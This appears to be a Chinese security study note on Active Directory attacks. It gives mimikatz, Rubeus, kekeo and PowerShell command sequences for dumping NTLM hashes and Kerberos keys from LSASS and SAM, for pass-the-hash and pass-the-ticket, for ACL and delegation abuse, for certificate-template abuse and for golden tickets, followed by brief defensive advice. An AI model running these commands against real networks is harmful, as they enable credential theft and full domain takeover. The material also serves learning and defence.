AD学习记录(中)
字数 1787 2025-08-25 22:58:40

Active Directory 攻击技术详解

1. 认证机制与攻击技术

1.1 NetNTLM 认证与 Pass-the-Hash (PtH)

NetNTLM 认证流程

  1. 客户端向服务发起认证请求
  2. 服务返回一个随机数 challenge
  3. 客户端用本地 NTLM hash 加密 challenge 生成 response 发送给服务
  4. 服务将 challenge 和 response 发送给域控验证
  5. 域控使用存储的 NTLM hash 验证 response
  6. 服务根据域控的验证结果决定是否通过认证

Pass-the-Hash 攻击

  • 使用 mimikatz 提取本地 SAM 或 LSASS 内存中的 NTLM hash
  • 利用 hash 直接进行认证,无需知道明文密码
# 提取本地 SAM 的 NTLM hash
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam

# 从 LSASS 内存提取 NTLM hash
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::msv

# 执行 PtH 攻击
mimikatz # token::revert
mimikatz # sekurlsa::pth /user:username /domain:domain.com /ntlm:hash /run:"command"

1.2 Kerberos 认证与相关攻击

Kerberos 认证流程

  1. 客户端用用户 hash 和时间戳向 KDC 申请 TGT
  2. KDC 用 krbtgt 账户加密 TGT,内含 Session Key
  3. 客户端用 TGT 和 SPN 向 KDC 申请 TGS
  4. KDC 用服务 hash 加密 TGS,包含 svc session key
  5. 客户端用 TGS 向服务发起认证请求

Pass-the-Ticket (PtT)

# 导出 Kerberos 票据
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export

# 注入票据
mimikatz # kerberos::ptt ticket.kirbi

# 验证票据
klist

Overpass-the-hash/Pass-the-Key (PtK)

# 提取 Kerberos 密钥
mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys

# 执行 PtK 攻击
mimikatz # sekurlsa::pth /user:username /domain:domain.com /aes256:key /run:"command"

2. 基于 ACL 的攻击

2.1 关键 ACE 权限

  • ForceChangePassword:强制修改密码
  • AddMembers:向目标组添加用户
  • GenericAll:完全控制对象
  • GenericWrite:修改目标对象属性
  • WriteOwner:修改对象所有者
  • WriteDACL:修改对象的 DACL
  • AllExtendedRights:执行所有扩展权限操作

2.2 攻击示例

  1. 使用 BloodHound 分析 ACL 错误配置
  2. 发现 Domain Users 可以控制 IT Support 组
  3. 将自己添加到 IT Support 组:
Add-ADGroupMember "IT Support" -Members "username"
  1. IT Support 组可以修改 Tier 2 Admins 用户密码:
$Password = ConvertTo-SecureString "newpass" -AsPlainText -Force
Set-ADAccountPassword -Identity "targetuser" -Reset -NewPassword $Password
  1. 强制组策略更新:
gpupdate /force

3. Kerberos 委派攻击

3.1 委派类型

  • 非约束委派:服务可代表用户访问任意服务
  • 约束委派:服务只能代表用户访问特定服务

3.2 攻击步骤

  1. 查找允许委派的账户:
Get-NetUser -TrustedToAuth
  1. 使用 kekeo 生成 TGT:
tgt::ask /user:svcaccount /domain:domain.com /password:password
  1. 伪造 TGS 请求:
tgs::s4u /tgt:TGT_file /user:targetuser /service:service/server.domain.com
  1. 导入票据:
kerberos::ptt TGS_file
  1. 建立 PowerShell 会话:
New-PSSession -ComputerName targetserver.domain.com
Enter-PSSession -ComputerName targetserver.domain.com

4. AD 证书服务 (AD CS) 攻击

4.1 可利用的证书模板条件

  1. 用户有证书请求权限 (Allow Enroll)
  2. 证书支持客户端认证 (Client Authentication EKU)
  3. 允许客户端指定 SAN (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT=1)

4.2 攻击步骤

  1. 枚举证书模板:
certutil -v -template > cert_templates.txt
  1. 使用 Metasploit 查找漏洞:
use auxiliary/gather/ldap_esc_vulnerable_cert_finder
  1. 申请恶意证书
  2. 使用 Rubeus 请求 TGT:
.\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:cert.pfx /password:pass /outfile:ticket.kirbi /domain:domain.com /dc:dc_ip
  1. 导入票据:
kerberos::ptt ticket.kirbi

5. 黄金票据攻击

5.1 普通黄金票据

# 获取 krbtgt hash
lsadump::dcsync /user:domain\krbtgt

# 生成黄金票据
kerberos::golden /user:Administrator /domain:domain.com /sid:domain_sid /krbtgt:hash /ptt

5.2 跨域黄金票据

# 获取子域 SID
Get-ADComputer -Identity "DCNAME"

# 获取父域 Enterprise Admins SID
Get-ADGroup -Identity "Enterprise Admins" -Server parentdc.domain.com

# 生成跨域黄金票据
kerberos::golden /user:Administrator /domain:child.domain.com /sid:child_sid /krbtgt:child_hash /sids:parent_ea_sid /ptt

6. 域内热门漏洞

  1. Zerologon (CVE-2020-1472):置空域控机器账户密码
  2. PrintNightmare (CVE-2021-1675/CVE-2021-34527):RCE 漏洞
  3. MS14-068:服务票据 SID 验证漏洞
  4. Exchange 相关漏洞:利用 Exchange 的 DCSync 权限
  5. NoPAC:普通域账号接管域
  6. ADCS (CVE-2022-26923):冒充域控机器账户提权

7. 防御建议

  1. 限制敏感组的成员资格
  2. 定期审计 ACL 配置
  3. 禁用不必要的委派
  4. 限制证书模板权限
  5. 及时安装安全补丁
  6. 监控异常 Kerberos 活动
  7. 实施特权账户管理

8. 参考工具

  1. mimikatz:凭据提取和攻击
  2. BloodHound:AD 权限分析
  3. Rubeus:Kerberos 攻击
  4. PowerView:AD 信息收集
  5. Metasploit:漏洞利用
  6. kekeo:Kerberos 操作

通过深入理解这些攻击技术和防御措施,安全团队可以更好地保护 Active Directory 环境免受攻击。

Active Directory 攻击技术详解 1. 认证机制与攻击技术 1.1 NetNTLM 认证与 Pass-the-Hash (PtH) NetNTLM 认证流程 : 客户端向服务发起认证请求 服务返回一个随机数 challenge 客户端用本地 NTLM hash 加密 challenge 生成 response 发送给服务 服务将 challenge 和 response 发送给域控验证 域控使用存储的 NTLM hash 验证 response 服务根据域控的验证结果决定是否通过认证 Pass-the-Hash 攻击 : 使用 mimikatz 提取本地 SAM 或 LSASS 内存中的 NTLM hash 利用 hash 直接进行认证,无需知道明文密码 1.2 Kerberos 认证与相关攻击 Kerberos 认证流程 : 客户端用用户 hash 和时间戳向 KDC 申请 TGT KDC 用 krbtgt 账户加密 TGT,内含 Session Key 客户端用 TGT 和 SPN 向 KDC 申请 TGS KDC 用服务 hash 加密 TGS,包含 svc session key 客户端用 TGS 向服务发起认证请求 Pass-the-Ticket (PtT) : Overpass-the-hash/Pass-the-Key (PtK) : 2. 基于 ACL 的攻击 2.1 关键 ACE 权限 ForceChangePassword :强制修改密码 AddMembers :向目标组添加用户 GenericAll :完全控制对象 GenericWrite :修改目标对象属性 WriteOwner :修改对象所有者 WriteDACL :修改对象的 DACL AllExtendedRights :执行所有扩展权限操作 2.2 攻击示例 使用 BloodHound 分析 ACL 错误配置 发现 Domain Users 可以控制 IT Support 组 将自己添加到 IT Support 组: IT Support 组可以修改 Tier 2 Admins 用户密码: 强制组策略更新: 3. Kerberos 委派攻击 3.1 委派类型 非约束委派 :服务可代表用户访问任意服务 约束委派 :服务只能代表用户访问特定服务 3.2 攻击步骤 查找允许委派的账户: 使用 kekeo 生成 TGT: 伪造 TGS 请求: 导入票据: 建立 PowerShell 会话: 4. AD 证书服务 (AD CS) 攻击 4.1 可利用的证书模板条件 用户有证书请求权限 (Allow Enroll) 证书支持客户端认证 (Client Authentication EKU) 允许客户端指定 SAN (CT_ FLAG_ ENROLLEE_ SUPPLIES_ SUBJECT=1) 4.2 攻击步骤 枚举证书模板: 使用 Metasploit 查找漏洞: 申请恶意证书 使用 Rubeus 请求 TGT: 导入票据: 5. 黄金票据攻击 5.1 普通黄金票据 5.2 跨域黄金票据 6. 域内热门漏洞 Zerologon (CVE-2020-1472) :置空域控机器账户密码 PrintNightmare (CVE-2021-1675/CVE-2021-34527) :RCE 漏洞 MS14-068 :服务票据 SID 验证漏洞 Exchange 相关漏洞 :利用 Exchange 的 DCSync 权限 NoPAC :普通域账号接管域 ADCS (CVE-2022-26923) :冒充域控机器账户提权 7. 防御建议 限制敏感组的成员资格 定期审计 ACL 配置 禁用不必要的委派 限制证书模板权限 及时安装安全补丁 监控异常 Kerberos 活动 实施特权账户管理 8. 参考工具 mimikatz :凭据提取和攻击 BloodHound :AD 权限分析 Rubeus :Kerberos 攻击 PowerView :AD 信息收集 Metasploit :漏洞利用 kekeo :Kerberos 操作 通过深入理解这些攻击技术和防御措施,安全团队可以更好地保护 Active Directory 环境免受攻击。